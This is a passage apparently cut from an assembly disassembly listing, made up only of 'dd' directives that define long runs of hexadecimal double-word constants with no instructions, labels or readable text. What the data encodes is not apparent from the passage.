		dd 208468C3h, 0C4343DBDh, 0BEB88669h, 3007F7Bh,	14B261F5h
		dd 5E371235h, 0E146038h, 18F2E6A3h, 14E27330h, 9EABDDCCh
		dd 56198510h, 6057255Ch, 0B8565F12h, 5BDB2F9Bh,	0C3800A98h
		dd 57500812h, 410127F2h, 7E70D902h, 50E422BAh, 90D65FE2h
		dd 3FA63117h, 4B18DEE0h, 0D9521DB8h, 1A093B52h,	42BD1BC9h
		dd 0F6B2F68Dh, 85E28217h, 0D300D9A2h, 3D9FD631h, 0A2004F4Eh
		dd 0BBE305A9h, 26E44C68h, 4DF5B53h, 25121189h, 90B8FEDh
		dd 0EC41DD85h, 2D89F550h, 8D602B9Ah, 0B4B86601h, 9055610Bh
		dd 2D01C216h, 2FED9D03h, 0FF41CB4Ah, 310214F5h,	126A1355h
		dd 0F72AA5FEh, 3EEDA024h, 5D8FE35h, 0DC0DBF4Bh,	74E2ACh
		dd 0B1DA15E0h, 0E23174E8h, 4CDE528Bh, 5CE2B863h, 0C9B1882Ah
		dd 457984B3h, 1A7FD070h, 0EB6D8589h, 0DF41B406h, 90B40250h
		dd 177A6AE1h, 0C4B5C113h, 0A976822Ah, 0D12B717Ch, 845F78h
		dd 0B80FCCF4h, 8018A160h, 56E0EF26h, 35CF7115h,	9CA630C6h
		dd 3355C0E1h, 0FA38C3h,	9DFBC2BCh, 0EDDF97h, 68E5CE52h
		dd 0E451A599h, 66625D02h, 75CC5ABFh, 0A1010584h, 0BD40A57Eh
		dd 494F004Fh, 0F1E97CA3h, 7A83F25Eh, 5CC192FEh,	5CA2E892h
		dd 38501546h, 0F1953429h, 0DFCE09ABh, 1AD71262h, 3C9DB341h
		dd 0CEFB308h, 748EDF9Eh, 0FB6BC227h, 946999F5h,	156BF1C4h
		dd 80906132h, 0CB1AEFBCh, 843EF7C5h, 0BB4005E8h, 2B575C24h
		dd 6F3D97h, 6268088Bh, 0F30A3794h, 0ABF1542Dh, 1647E205h
		dd 6E82F69Eh, 0A684376Ah, 0CDF3C1FAh, 16366902h, 88E81A15h
		dd 4510B694h, 0B390091Ch, 0A733D67Bh, 0D80015B7h, 0BFA1CC26h
		dd 616318CFh, 85294878h, 4A14C549h, 0C986AB20h,	9BB53F35h
		dd 0AB1D3E86h, 3F9A2E67h, 0B58CEEB5h, 4F4374CDh, 0EDFA0563h
		dd 0F28C0F57h, 25BF389Ch, 0A20EE63Ah, 80707CDAh, 62BBD1FFh
		dd 554B9210h, 7B22CB8Ah, 9FF3811Fh, 4977B8C8h, 22518AF3h
		dd 89CC5FF5h, 0C7FD598Dh, 0BF80865Ch, 55660D35h, 0CB47790h
		dd 0C5A44D2Fh, 66E299A5h, 0E39DF381h, 5E0D9AE9h, 47EC5809h
		dd 8D416681h, 0B2281455h, 0CD965780h, 0A300CF97h, 5E379EAh
		dd 0E529F45h, 3554C198h, 0B85FFCA4h, 9DE6D3FAh,	0F30DB4E0h
		dd 12F97B0h, 0E681B017h, 87A100A9h, 7AB257F9h, 210B67ADh
		dd 61903E8Bh, 813C5021h, 6EDA073Ch, 0C2D70010h,	4AB7CED4h
		dd 0F109E6A3h, 0B3546C7Fh, 10CC8C48h, 0CC4A2031h, 0C30381E7h
		dd 4F22CAFDh, 0D781EC6Ah, 299721CDh, 41D7B5B5h,	142AD55Fh
		dd 4EC8AEACh, 3FF1A7h, 0B77B2A9Bh, 0D916FA71h, 0C8E8BAB8h
		dd 0B1B05BC4h, 81AA61FFh, 2B70E612h, 4A75AD9Dh,	8A05C230h
		dd 90CBF500h, 7162E4FCh, 924D536h, 0E60A55Ah, 0A888BB81h
		dd 86494B5Eh, 0D927B2A4h, 20E05320h, 982998BEh,	9F1EA62Eh
		dd 427DC946h, 80E3DE00h, 0D633271Eh, 3CB21859h,	0F04325Bh
		dd 92088A48h, 9E0009A2h, 2594A8F9h, 3B0098FCh, 53A66BA5h
		dd 2570F510h, 0BCC2779Ah, 9D04BA56h, 0B22530B1h, 0B5B34A69h
		dd 1603FD00h, 5BD88B73h, 0DA65E95Bh, 559C5A9h, 80951520h
		dd 8D2960B1h, 0F15C7A5h, 20572A82h, 0F9351E34h,	30AF0015h
		dd 4EE59C6Dh, 0C140616Bh, 482EFBCFh, 0E1A010C2h, 0E98AD796h
		dd 0C761CF54h, 8D2BEFDFh, 0D12C8869h, 34091214h, 88C3AC93h
		dd 8129BB34h, 0D96C60A6h, 5C00D0AAh, 381D4DD7h,	1F913CCh
		dd 43360E4Bh, 42A5839Eh, 0EA81FE37h, 6E890CE0h,	0DC8A5121h
		dd 1ACA612Eh, 617209DDh, 5C3015B2h, 0B93AD70Eh,	16D6BC01h
		dd 5EFF8E3h, 0C156FB99h, 21D6949h, 68D55C5Bh, 31D960D3h
		dd 1F0357Ch, 9D799C1Ch,	0E47B945h, 52116EE4h, 0FC27AD26h
		dd 85C0946Dh, 0B921E246h, 0B5C5806Ah, 305B692Bh, 0A29BFC5Bh
		dd 0C02B9282h, 380375Dh, 0BAF7E2F4h, 0B0EFE784h, 0BC1DB09h
		dd 0D59C3D35h, 0F5C37C2h, 506B53DAh, 0EC00EFC6h, 0E6AE296Ch
		dd 0B5496487h, 2A5561h,	256BABBFh, 0C1C42B3Bh, 0F637B7h
		dd 2BB60933h, 69025BB0h, 0CB80F3ABh, 0B25479C4h, 0B45CDAE2h
		dd 0DCB6F46Bh, 0D48B6709h, 5ACA71D1h, 2FD1428Ah, 544B7DEFh
		dd 0B030967Dh, 53802785h, 0BC14975Bh, 97F95044h, 265CB112h
		dd 958E6E25h, 0FB405EEDh, 1052FBBh, 51953529h, 6409BD89h
		dd 90B75B1Fh, 0E0B598C8h, 4FA100E1h, 52D855DFh,	30F3FFCBh
		dd 0FD25E786h, 167DC586h, 0ECCBFD76h, 697507D2h, 47E6283Dh
		dd 8BC3A08h, 0C22F3481h, 254374CFh, 5411AA65h, 5085C85Fh
		dd 40940502h, 0C3A561BEh, 5F498410h, 0FE449A71h, 0C4BDC255h
		dd 8D070BE5h, 8985B121h, 5063D259h, 25F79860h, 0BEC27064h
		dd 4070FFF3h, 0CC3709C7h, 1D8B560h, 7B0166BFh, 13752509h
		dd 0F9B1E8CCh, 72181571h, 0C5BA7D50h, 0E2322EF9h, 0C3CC2C5Eh
		dd 603E9A0Bh, 0D6E81851h, 0BCB800BBh, 9C3FB2DAh, 5A718A5Fh
		dd 85295309h, 5BDD22FDh, 0D61B5661h, 1A001C46h,	94400AEAh
		dd 9B0963DDh, 79F88A7Bh, 70F3A704h, 1FD6970h, 27B4CE93h
		dd 0E20FB7F9h, 90FFB580h, 7FE36050h, 0BF569ECCh, 0B6F4CA43h
		dd 6498E0A9h, 7B2D3C38h, 8FBE6001h, 4143A284h, 40779BFh
		dd 85C8971Dh, 0DFE04F03h, 7A325868h, 0C2E1348h,	8EEDBB8h
		dd 611E255Bh, 31A74260h
		dd 64136525h, 5CB40068h, 8170C29Bh, 0AD3A47D4h,	0AC46AC72h
		dd 0F065D102h, 62EC54DCh, 0DB8A9D23h, 5E4DA5BDh, 7F601844h
		dd 5A021C0Dh, 0E9C1B763h, 35284AEDh, 0A36B8027h, 5653FC66h
		dd 0BD316016h, 0C960FCB5h, 0A6B7DEA1h, 944E3F38h, 9601B809h
		dd 0C9BD88B9h, 5628808h, 1DCA251Eh, 2FD04C7Bh, 0EE8225Bh
		dd 0AA0B8C00h, 0A8D2A15Ah, 149A00A7h, 2D54B91Dh, 5B4BF98Ah
		dd 6E3B26CDh, 1633C72h,	0E16D5F35h, 822B19C4h, 9F91174Ah
		dd 2ECF750Dh, 9D0B5130h, 56C1BA75h, 0E9E03D89h,	0ED045DB1h
		dd 35A43AD8h, 2E096E81h, 0AB890302h, 114CD962h,	1C408BB6h
		dd 816B1Eh, 2DBB703Dh, 5B77C667h, 42BF6609h, 0B7167808h
		dd 60808C37h, 1EB4007h,	0C0611673h, 0CBFEA997h,	4C2EC2DFh
		dd 1D1A9702h, 84EB6Bh, 0E92F6B68h, 870F254Fh, 0C8A50C79h
		dd 2D2C9412h, 5A5B4FF6h, 42DC70h, 0FAA1728Dh, 6A349469h
		dd 7E406B94h, 25EDB119h, 3BE65004h, 6CBB660Fh, 7EC473B6h
		dd 85959D04h, 9B7FFB99h, 7AAD80D5h, 69A43Eh, 0B7473DEEh
		dd 0B58961D4h, 0B12F15Eh, 1CBF1B2h, 75294089h, 0DE4BE151h
		dd 934D25CCh, 99B80EE0h, 31DA0D95h, 631D2BE9h, 6112006Fh
		dd 4275C5B1h, 21271C6Ch, 0F1C7E5CBh, 961A9F5Ch,	71E0A04Dh
		dd 49A7FEC9h, 2B2EC280h, 0D25652AAh, 60042911h,	0A0E5B50Bh
		dd 0C9028152h, 6E665D44h, 2DDD9661h, 925B040Eh,	2E1DFD1h
		dd 5B707E8h, 2767835Dh,	5B95F766h, 5A290EF0h, 14C17A20h
		dd 25A63967h, 4405EFC9h, 7BC4601Bh, 1CED0459h, 0F865903Ah
		dd 0CE0980CCh, 5B3892h,	5A0EB91h, 0DB042EA4h, 58883212h
		dd 9A4B0CF7h, 0C2E897BBh, 3248F094h, 2E686E4Bh,	29827AC5h
		dd 5431C99Dh, 666DEB9Eh, 934B8CC0h, 0BE35979Ch,	90801A91h
		dd 6FE43BA9h, 0BF982D01h, 24257A6Ch, 0D728DF59h, 9A951620h
		dd 5107C1C4h, 0B52E523Eh, 80B91EABh, 9C8AA9F1h,	860F25B8h
		dd 0DF9393D9h, 6E6A588Dh, 89DC0E62h, 0D464CBDBh, 4A271064h
		dd 5CF8C9C2h, 5B6D25BEh, 0A8E346C0h, 8B58126Eh,	49C1E3FEh
		dd 0F40BDB6h, 569DADDh,	618D01B4h, 9DB14303h, 0D122D21h
		dd 0E8E33585h, 0B934B993h, 0F540207Ah, 79709531h, 0EEE135A1h
		dd 19445C4Fh, 89139C60h, 0D673A017h, 9060FA8Ch,	45D2032h
		dd 518E0F27h, 61DF80E1h, 0BF525096h, 3E4A4C09h,	41C7D02Fh
		dd 67E0F7FBh, 6925CC9Bh, 20B796h, 31F130Ah, 2B098FF8h
		dd 7A0F259Dh, 184145D1h, 8D3E2980h, 0F38B4B25h,	0F6AC4159h
		dd 95ED0800h, 0DA74DBD6h, 7A05657Ah, 0B2C35209h, 3E318DEAh
		dd 0C213DB2Eh, 64193634h, 950C86Dh, 8005BEABh, 7B53CBE3h
		dd 0F9F2AEF6h, 75CF8E2h, 2096026Bh, 582E92CEh, 4C7BF4EDh
		dd 19102D87h, 0CE61252Ch, 2935B5E0h, 0E7EDD204h, 78A7D9B8h
		dd 808AD1A7h, 0B4462FE6h, 5026E3Fh, 4D44CF62h, 3EC4E8h
		dd 15AA6C17h, 0D4162A5Ch, 4BB3200h, 0B1FC0C96h,	8E5A679Ah
		dd 0C12716B5h, 0E2E89A95h, 13BE565Bh, 0A1171289h, 8A2D2B80h
		dd 6A007833h, 1D1EB6A2h, 0CE0013CBh, 0F2871434h, 767ED52h
		dd 0F33AE9E1h, 315419FFh, 3B94B640h, 4DF82561h,	0BFC0FE74h
		dd 9661597h, 0C18B5F7Ah, 0EE413385h, 0DB2EDD29h, 66B08008h
		dd 9555CBBBh, 0A66C5902h, 0A29C9150h, 0AA5619DCh, 7DE93CF8h
		dd 0AFF100EFh, 122A6C8h, 26A14ABDh, 4D3072B7h, 5777C86Fh
		dd 306EF916h, 0BD38125h, 697D2C14h, 182912D3h, 0F5253AE2h
		dd 0E273E729h, 26E50670h, 0A5C4ECB7h, 0E079C873h, 0AD31752Eh
		dd 0C876A93Dh, 0B3446025h, 0BE742F0Eh, 0A059FCDh, 1DF2E09Bh
		dd 1E5BDF00h, 76A3FBE8h, 938AB60Bh, 0A85C715Fh,	25ED205Ah
		dd 9D336104h, 2DAE1681h, 386A2B68h, 58CEAF00h, 0E19D0132h
		dd 64E31D4Ah, 0AEB4A346h, 30CB8Ch, 3F43CD8Ah, 0CAABDA27h
		dd 0C54FED25h, 2E701AA0h, 13DE6076h, 134E2CE3h,	45670425h
		dd 26A0403h, 901278BCh,	0B532AF50h, 74BD9851h, 75B4C0ECh
		dd 976AC6Ah, 3090BDA1h,	5325D38Ah, 6492CDAAh, 2BC86016h
		dd 0CB30E92h, 0E27297E9h, 5790DC95h, 2CB9C262h,	405F4F5Dh
		dd 0A0C692E4h, 9D9D964Bh, 78B0E026h, 1AB0FE72h,	6D5BF1E2h
		dd 56AED494h, 0C273E1EDh, 73DE890Fh, 658B1E6Bh,	37BD6DCCh
		dd 0B59700CFh, 8B496705h, 25F3A620h, 8ECE1451h,	2571AB5h
		dd 202849A4h, 37BBFFFh,	8FB8914Ah, 7F4BA14Fh, 3C02F86Fh
		dd 2ACD7B98h, 0F9128BDEh, 0F038B1E6h, 9D332340h, 85B09D39h
		dd 1C6275E3h, 0E6021B59h, 0FDBDC070h, 71E48031h, 25252378h
		dd 4F9DC626h, 0FEC122C4h, 71289B5Ch, 7CBADE29h,	26108508h
		dd 0ABBB0132h, 2E7B5CD7h, 58EC8717h, 49C28A80h,	62006758h
		dd 95C7FEE9h, 80A1F8h, 0A5BA5D6Ch, 5B26CFF4h, 0B3850097h
		dd 1575142h, 9BD6C381h,	0C45F6B70h, 41F9C82Bh, 303C1CAh
		dd 0BFD1B85Bh, 9C461268h, 9247B92Bh, 0F262B8FDh, 855C0781h
		dd 0BD08F846h, 1FC5F740h, 0EB6C5682h, 0E9F51AC0h, 2523D44h
		dd 92BD37BFh, 18DD5F71h, 259D89A3h, 66CC285Dh, 0B71F2142h
		dd 18A514FFh, 0ED8FE2Fh, 43DFA405h, 56019589h, 2A458501h
		dd 101D8A2Bh, 0B32FED16h, 575BCAE2h, 0EFF0C071h, 98AB1269h
		dd 2F2FE332h, 0DE568F52h, 55B95BC4h, 0E65AC3FCh, 40A4E28Dh
		dd 19F4215h, 3118B489h,	2E1D358Dh, 6AEF4A64h, 0CB8D0087h
		dd 2CBFD023h, 77932466h, 266D0808h, 609BFC12h, 0FB8B6B80h
		dd 3795C02Bh, 18BC0067h, 0EB9D67C9h, 69928C62h,	0D22B0311h
		dd 0B119C5C7h, 43DF2AD6h, 0BFC01BC8h, 26FF92Fh,	88826828h
		dd 6CD95060h, 0EC454007h, 5894E4C0h, 0E38F05BAh, 0BF610AF3h
		dd 8000716Fh, 93E39F1Ch, 48984F54h, 84609295h, 829489A6h
		dd 6A5BE7B7h, 0FC6F0031h, 29C9C20Ah, 9D350321h,	598D0161h
		dd 2D43ADBDh, 9568F0EDh, 6D1F6DBAh, 2A13EBFh, 0D287342Fh
		dd 0C1BF705Eh, 27BB66C1h, 7B2B2E9Bh, 93DEF550h,	380579CDh
		dd 4ABD5991h, 6B2272CAh, 0ECDB8102h, 5C67EA27h,	87BB4077h
		dd 2D4B66DDh, 9A2F799Dh, 0A04E83C2h, 798E3F8Eh,	0E14EFFC0h
		dd 4A007C6Eh, 554CCCE3h, 0E2392797h, 52530078h,	88B5C781h
		dd 5F0538B1h, 228D8ACBh, 0A42AC146h, 3E081C90h,	37D48C1h
		dd 6B5C6102h, 4D1B0B52h, 39E3C048h, 66095C31h, 8E470B27h
		dd 0DA71C288h, 53815C40h, 1C233FDCh, 3CD16B00h,	12D95A72h
		dd 58B5758h, 8360F81Fh,	12BC4D02h, 96A81B1h, 5570612Eh
		dd 5A6609BFh, 0E8724535h, 3E25CDCBh, 2508464Ah,	46D45160h
		dd 0EE95F61h, 0C80AE210h, 0ABF53B28h, 4802547Dh, 11463201h
		dd 0A5105C61h, 0A6F4D6DEh, 0CB8102DFh, 26230BF9h, 0EBC4EDE2h
		dd 0EEDB795h, 23622A93h, 0B6619008h, 0B946A8Dh,	0C1C0DBBEh
		dd 8065A1D7h, 2E3082C0h, 30619AA6h, 1F03FF23h, 0C49F60E0h
		dd 2857946h, 0D9F92145h, 5B72E8BDh, 72C09601h, 615BEC16h
		dd 6FBA1931h, 453406Bh,	73EEBE03h, 0C43C80BAh, 0A561481Eh
		dd 0A4CD5889h, 5773CAC0h, 18F99753h, 4F794E01h,	0D2D01BA7h
		dd 0A0250050h, 0D0D6C8BFh, 6A09E328h, 0B64FAEAh, 966BEEC1h
		dd 2601D449h, 0D0700B22h, 812BFBE2h, 9DB9C68Ch,	0E2F0BCF8h
		dd 971CC58Dh, 567C923Ah, 2B3B2A10h, 4425E937h, 8644AFBEh
		dd 49B8F5F9h, 0B9C3BDD3h, 3B9A9DF4h, 4F816C92h,	0BBB62DB5h
		dd 20ECE02Eh, 0DB500997h, 4AF8D82Eh, 0D258EE01h, 870FA239h
		dd 25BBF94Ch, 49C475E3h
		dd 4ADEC09Ch, 28209B7h,	6DA53C73h, 313EC2D3h, 895A5BD0h
		dd 643FCDB1h, 0FE268429h, 0FC00477Ah, 0D6843171h, 1F251774h
		dd 7C3DC227h, 8008DC4Ah, 609CC0A0h, 74DF284Ch, 0B3AC6E01h
		dd 0FE8A5025h, 9B4FE97Ch, 88D08233h, 0A9A15446h, 58582338h
		dd 0D2019071h, 7DC16821h, 420F397h, 0A09C4BA0h,	86123E0Fh
		dd 6FE80C87h, 77205B8Fh, 0C1558EAAh, 0EBB1EF04h, 6BAE5680h
		dd 1172388h, 0CCED0968h, 0B88D3E50h, 4D8BC524h,	818001FEh
		dd 3385C1E3h, 4D61762Fh, 0EF77C05Eh, 3309C197h,	711391BDh
		dd 5819E96Ch, 87E02F64h, 3A1503C0h, 0F666CD7Fh,	83EC83D5h
		dd 0DEF04091h, 0ED3AE057h, 851C9713h, 87E0E45h,	0E9091AD0h
		dd 1238511Eh, 0AE5DE3FBh, 496E1650h, 2ABDBD84h,	0DD0411A3h
		dd 0B8F572C9h, 0A56DA35Ah, 2BE940A9h, 0D31275B6h, 0BE8A1DDh
		dd 33911CBh, 899950Bh, 5303B8EEh, 1C38060h, 7FD5CA09h
		dd 0B85B1DA4h, 0DA5ED95Dh, 0BA3D252Eh, 0FC00166Fh, 85B3363Eh
		dd 280991C6h, 0E2CD8D09h, 0D62E56A1h, 17171546h, 2BB0808h
		dd 84FD8A8Bh, 4CD0F807h, 4AC99D23h, 0E0BA8A20h,	322B775Dh
		dd 8598A6A3h, 5BA32977h, 28EDAD1Eh, 0A03BF541h,	7080CCh
		dd 93A498BFh, 0CFAE8EBBh, 2198484Bh, 30392285h,	14659D12h
		dd 31D51BE2h, 26009DACh, 0B480197Fh, 9C2F3081h,	0D3B5E92Fh
		dd 75522A80h, 4BC5CFE9h, 29128043h, 196009BDh, 0F2050B7h
		dd 50C6978Bh, 952FAD20h, 0D4D301BAh, 4AA1B50h, 0A99529CAh
		dd 0B4F2AC2Ah, 17A82BADh, 0C0E02800h, 0BF6611DCh, 0A2124AFAh
		dd 3B7E00A5h, 0B7524C93h, 64AE6CBEh, 44954D80h,	0F82F9BF7h
		dd 853F1FC5h, 15DB828Ah, 0F155DFB0h, 700BA869h,	3A968169h
		dd 778A5115h, 41C8B729h, 6541C030h, 3D1344E8h, 19458707h
		dd 28A0ADEEh, 2717ECh, 0F8B42962h, 0D3B952A6h, 8B80495h
		dd 0DB595F09h, 8409A5A4h, 44B45940h, 0E2DEBF3Bh, 7FCCEDDh
		dd 0DB6FE240h, 835F0F96h, 5F23F68Ch, 6BA98C0Dh,	2B0E9F10h
		dd 0F6FC961Ah, 28FC157Eh, 2CBFB4CAh, 9DB663Fh, 0C559865Dh
		dd 7B2F993h, 0E037B696h, 857546h, 0A8383968h, 0FB8B35EDh
		dd 54DE9A95h, 142E51C0h, 0C2FDFF09h, 689754DCh,	4A131198h
		dd 6DD188h, 468A1B82h, 697FE39h, 5012450Eh, 28C62A5Bh
		dd 5925C509h, 0C2E1E9ADh, 30E90027h, 0C4FF71F4h, 102F2116h
		dd 0A6D83C8Bh, 99099AC1h, 9D8F5B30h, 915C929h, 5FA9ECFEh
		dd 5DA1E822h, 2F9D280Fh, 9591E4DFh, 3C02D8B7h, 606080F3h
		dd 0BF34116Eh, 532D766Ch, 2CF5E5B0h, 57B2FCCh, 2B4E78h
		dd 69E27EE8h, 0EC1CFFACh, 0A7F96A4Ah, 0CB15EABCh, 59BCF6h
		dd 0D7A7DBF7h, 96263EEh, 3977ABCDh, 2314EAF4h, 665583B5h
		dd 0BE9BB416h, 7F681BC0h, 0FC506B2Bh, 9979DC3h,	0C21A75B6h
		dd 0CC83557h, 0BD7ADFA3h, 92AC549h, 25A59D31h, 0E697901Bh
		dd 0F945864Bh, 0A52CC964h, 0F3ADE75Ch, 0DA7978F4h, 0C6E24D25h
		dd 400B940Dh, 0F799AAE8h, 86F81431h, 0C0E5A951h, 81CA352Bh
		dd 13186DADh, 95A274D1h, 0CC6B8294h, 7003D355h,	283F637Ch
		dd 13CF809Ch, 6A5AAE19h, 0DCF4B602h, 0A4D7FD02h, 57237AB0h
		dd 8355F5EAh, 7E11E9C1h, 0A297002Bh, 0D15B7821h, 6700D38Ch
		dd 0B963DB7h, 9D548D64h, 0C73BC4C4h, 1720C5E8h,	1C920E6Ah
		dd 8AA003F1h, 3504701Fh, 58138213h, 5017D3B8h, 82A257h
		dd 99C23A06h, 95C6E15Fh, 5B7AFDC6h, 0E49B904Ah,	11178680h
		dd 4A2D8BFDh, 18725BFCh, 70072B05h, 356F1C1Eh, 7CAC3896h
		dd 5665FE1h, 8A7B04EEh,	0B89DB9D8h, 5A85982Ah, 2A54E111h
		dd 0A9A07C8Ah, 0E09F1DB1h, 48DDF9C1h, 1F223450h, 0E566A382h
		dd 99911900h, 0B383C90Ch, 0EA2B0020h, 0A44CADD1h, 290A45D7h
		dd 0BC5BFE75h, 5BE9AB24h, 69FC50D8h, 6BF2F612h,	3814D249h
		dd 0FE1A2ABh, 63E76833h, 0A3C4C3E0h, 65B54609h,	6C532D9Fh
		dd 59B19050h, 0A04ABEC6h, 56822692h, 0E0DC4B54h, 48B200F4h
		dd 0F0ABB8A0h, 0BA028C62h, 0F380F55Eh, 68545CFAh, 0F9ED12F3h
		dd 0ECB47DDBh, 92BA01DCh, 0DA51A34Ch, 0CD3330B5h, 9DD80741h
		dd 1E929FD9h, 23768AF7h, 0D6FA00F4h, 21FDBF52h,	309769E8h
		dd 82010576h, 9CBCE5C0h, 0F909B070h, 0F56070E6h, 0E2572C1Ah
		dd 0E5907D46h, 94009C46h, 0A15D059h, 16A90BE1h,	0ACFC561Ch
		dd 0A5D788BAh, 0DF807560h, 0FE370246h, 2EBCA826h, 0EE201CFAh
		dd 0A0B4F85Ah, 1D91279Dh, 0A04F2A56h, 870FC82Bh, 6039C00Eh
		dd 4C3BD081h, 296A3E03h, 92A3D95h, 0F8D18BB5h, 2D086073h
		dd 0A910BB1Eh, 42F1D61Fh, 17098EC2h, 57EB88h, 2D4DE792h
		dd 9B1523FEh, 0D1D92504h, 72B9F2E2h, 5562027h, 0A228D9E0h
		dd 4F70FCh, 0BDCA5BFBh,	0F80CD2DDh, 970B4E3Bh, 7AF4109Dh
		dd 0C6558A3Fh, 4B91B2EEh, 2A82981Dh, 9ED98Ah, 308A1550h
		dd 1914D1BEh, 5A21A583h, 0BA61ACA1h, 1267CADEh,	0D3615D81h
		dd 8B282E08h, 0DEF75A02h, 0A11081B3h, 9420ACA8h, 85C4B77Dh
		dd 0C2056D95h, 1E4101FFh, 0AC302EC1h, 0DAB97AB3h, 7E562ABEh
		dd 0C0E1ED27h, 0FDA398D4h, 35B09562h, 83FC0426h, 0D290C035h
		dd 0B5709D09h, 711079C9h, 0DE80E937h, 6DDD888Ah, 0DC3A9Eh
		dd 53D2BA18h, 0E4BB139Ch, 5B4B70E2h, 9EAA0784h,	0C4188050h
		dd 0F364DE6h, 25C1EB80h, 3EF78D93h, 0B37E24h, 5F5D099Eh
		dd 6DAD0873h, 303C4726h, 0F9FE52BDh, 0D04167B5h, 3007148Fh
		dd 335D27D8h, 61B04EF2h, 285A59E2h, 0C83D49C3h,	55FC10E0h
		dd 0E9BF0713h, 0F32B63A1h, 0DA814FAFh, 0CB2AAA76h, 226F22A5h
		dd 0E31D05E8h, 82C0CEB2h, 596FC1BBh, 0B85B2609h, 0B9D86455h
		dd 8C17AC3Ah, 76575D00h, 0DBDBB92h, 4A424265h, 21A827E9h
		dd 3D5D900h, 0B529416Eh, 642A4101h, 464B0E50h, 9E21378Ah
		dd 0F059F701h, 282E15A1h, 8786A62Fh, 0A3D5E072h, 16B02EA8h
		dd 770B5120h, 922CB10Fh, 8533E2D8h, 4B90436h, 3B04E8E8h
		dd 0F18B6055h, 8CFAA584h, 49BD9D06h, 0D7660F5h,	968ACBF0h
		dd 2820BA09h, 4D4B8453h, 0F925D0BCh, 32535DC2h,	264A1D70h
		dd 968E491h, 0D35621F9h, 405DCDC9h, 1002EE54h, 1BC8EA04h
		dd 0B5128578h, 0A710CAA1h, 2F123EBh, 3241D631h,	0D28AAD04h
		dd 30A088E6h, 0CA009AE5h, 0DB977946h, 95901507h, 0D8D76710h
		dd 0EE2AE409h, 0DA3D8778h, 0BBC381F0h, 27522488h, 0A9F10361h
		dd 82010970h, 67ED68F9h, 882B2322h, 79273F2Fh, 0CB64D6AEh
		dd 9A1E3659h, 2A820240h, 0C0589Ch, 72797BA4h, 5491DAF5h
		dd 0BAC05F5Fh, 0B3D6412h, 19890F23h, 0D600D6EEh, 7740A3EDh
		dd 1167EB4h, 8C5F2C0h, 0C8B5E292h, 8825BA2Eh, 482B4650h
		dd 0B116C860h, 0A56AAC1Ch, 1B87FEDh, 800D2E8h, 0E3BE3229h
		dd 7CE9CDA0h, 0F63BE1EEh, 2B69F00Dh, 0CCDC012Dh, 23B35497h
		dd 3E5CC6F8h, 0AC145969h, 528D17C6h, 0B2EEA661h, 3F2B311Ah
		dd 0E22D86A4h, 0D5E30581h, 0BB6718DAh, 3FC8F820h, 24F82452h
		dd 3BF707C4h, 0B68FE0BAh, 0AA7A7FE1h, 0C6C25925h, 0F2604B0Ch
		dd 5AC70069h, 29E6689Ch, 1ABA0090h, 1CE034FAh, 0F7120CFFh
		dd 9EE883B1h, 5F515B27h, 0F120F980h, 23A095Fh, 9B86277Bh
		dd 0E38B477Ch, 0C111156h, 20C7CD5Ah, 689A2D33h,	0EF95ABA4h
		dd 99F40C6h, 251E527Ah,	142C52Ah, 2902999Dh, 9BC2C58h
		dd 91CD01DCh, 28B5B065h, 0D091602Eh, 0BB960C0Eh, 7CA582F4h
		dd 0A9D7F50h, 0FA851411h
		dd 0D4C9A860h, 0EAD4A7Bh, 32C66125h, 42405B94h,	781626h
		dd 0E66C73F6h, 7ADE6625h, 5BFD8A13h, 0CE9F4FA2h, 4E767EBBh
		dd 0A353D9EFh, 0BC487E3Eh, 329D78E7h, 4AB55532h, 5D76400h
		dd 2E3BFC1h, 9589AB73h,	59091E85h, 75B78B51h, 0EDBFB57Ah
		dd 0F0E5C54Ch, 6EB52D90h, 2D807FA1h, 0B43761DBh, 63C8C202h
		dd 8EF994h, 0B957863Bh,	6C2D5F6Eh, 0D9AF5B32h, 21181Ch
		dd 0AF8643DEh, 0A487A6D7h, 577EE29Fh, 7548829h,	61783E59h
		dd 0FB309984h, 6E7ED3D9h, 0E16103BDh, 9F44F30h,	15ED9580h
		dd 23BD5890h, 0A9A88DD3h, 0AC3EE516h, 9A92EEDDh, 0BBCB8032h
		dd 53B535Fh, 8F6331D6h,	1927F086h, 403DBFh, 894BD645h
		dd 254AE1B5h, 3A850FE3h, 0A0BCB704h, 48843FEAh,	7125B9D4h
		dd 8897EE7h, 0C09AD604h, 0FC628077h, 1998F3Ah, 0B390989Bh
		dd 0E8E4E5BFh, 99674A32h, 0FE3760BDh, 0BB89464Bh, 0C18D9B3Ah
		dd 36082FBh, 0B9A2136Fh, 0B7C98087h, 1C954DDFh,	829CEFB6h
		dd 0A74630E2h, 0F5254D50h, 0A532731Ah, 8383CC66h, 96041B92h
		dd 614A7FC2h, 80305768h, 5F523EE2h, 0CF3D0A7Bh,	0C7724806h
		dd 0B8A3F4EFh, 5188D691h, 66EA3E4Eh, 9CD3119Fh,	0B1C78739h
		dd 0DFA18073h, 0CB120AF7h, 1A0833D6h, 0B45F1823h, 2D850275h
		dd 0DC6486Dh, 950CFCE0h, 6D95C96Eh, 511BC0DDh, 0CB08B66h
		dd 42C4C609h, 0A0CD7176h, 0D7CF2789h, 67281C5Bh, 252FC522h
		dd 0BFDE04C2h, 0D21407DCh, 0E0B00EFDh, 9D034478h, 0CC9D617Bh
		dd 67BF026Ah, 0D912563h, 25A66D0h, 74B099B7h, 880ABFBAh
		dd 0D0714D08h, 712D6D09h, 0BA5369E0h, 1C13850h,	290FB874h
		dd 2E2719BDh, 8BD2E277h, 807ED30Ch, 0D60AD89Dh,	0E269EAA2h
		dd 71015B7Ch, 218181Ah,	0BC9F0F89h, 23FC3273h, 808635EBh
		dd 8F46C84Fh, 0CD51C143h, 8926CD9Dh, 2A55BDE3h,	0BC01AF45h
		dd 5061C1D8h, 0F63F207Fh, 31008117h, 1960C0B4h,	12BEBB73h
		dd 1365FEAAh, 616FCAh, 0B172FDAEh, 4E9D8930h, 0AD7184E5h
		dd 8C19AC6Ah, 4F3B0A02h, 40ED7CC9h, 950F154Ch, 0F6CFF96Eh
		dd 0D4ACB2E5h, 8B2232E2h, 794568F9h, 3DC4BA41h,	6E4F14C0h
		dd 0E51F00E7h, 0F928F2Fh, 52EC7FAEh, 824B7841h,	96D52676h
		dd 0E03787C4h, 0D6BD6D83h, 324C7309h, 0CC698CA3h, 0F7F74AE5h
		dd 44FA29D7h, 0B484BB00h, 98570DD0h, 9DD5F19h, 0EB565B38h
		dd 0D4A4DCE9h, 0E6C2A900h, 0A139F3A3h, 0DDF1277h, 8833F2F9h
		dd 8060845Fh, 3604AFD2h, 28AB03E5h, 8A2D0FCFh, 80C3D31Eh
